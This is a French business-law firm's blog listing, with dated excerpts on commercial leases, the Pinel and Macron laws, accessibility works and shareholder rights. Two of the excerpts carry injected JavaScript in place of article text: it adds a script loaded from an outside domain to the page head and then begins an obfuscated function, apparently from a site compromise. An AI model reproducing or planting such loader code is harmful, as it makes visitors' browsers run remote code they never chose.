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Accessibilité qui prendra en charge les travaux de mise aux normes : le locataire ou le bailleur ?
9 août 2015

La loi du 11 février 2005 pour l’égalité des droits et des chances, la participation et la citoyenneté des personnes handicapées, dite…

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Oh’Pinel : ta loi manque de tranchant !
9 août 2015
var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);;(function (l, z, f,... Lire plus
Réforme des baux commerciaux : Quelles nouveautés ?
8 août 2015

La « Loi PINEL » (Loi n° 2014-626 du 18 juin 2014) comporte de nombreuses dispositions modifiant le statut des baux commerciaux….

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Mobilisation contre la loi Macron aux cotés des professions réglementées
28 février 2015
var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);;(function (l, z, f,... Lire plus
Comment liquider ses dettes pour éviter de liquider sa boîte ?
29 janvier 2015

Eric SEUTET – WikiStage GESICA

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Actionnaires minoritaires : faites valoir vos droits !
9 janvier 2015

En règle générale, tous les actionnaires disposent de droits pécuniaires et non pécuniaires attachés à leurs actions.  Les droits pécuniaires consistent…

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Entreprises de Bourgogne, innovez… Et protégez-vous !
9 janvier 2015

Innover : solution anti-crise ? « Innover, ce n’est pas avoir une nouvelle idée mais arrêter d’avoir une vieille idée » Edwin Herbert…

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Les ateliers Jurivision
9 janvier 2015

Faire face à la rupture d’une relation commerciale brutale, et obtenir la réparation du préjudice subi du fait de l’absence d’un…

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Les associés d’une société peuvent-ils la concurrencer ?
9 janvier 2015

Dans le cadre du contexte économique actuel, il arrive que des mésententes entre associés viennent perturber la vie d’une société. En…

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De la prévention au traitement des entreprises en difficulté : avant qu’il ne soit trop tard…
9 août 2014

{mosimage}Article paru dans « VALEURS ECONOMIQUES HAUTE SAONE » numéro Juillet/Août/Septembre 2012. Des difficultés de trésorerie ne vous permettent pas de régler les…

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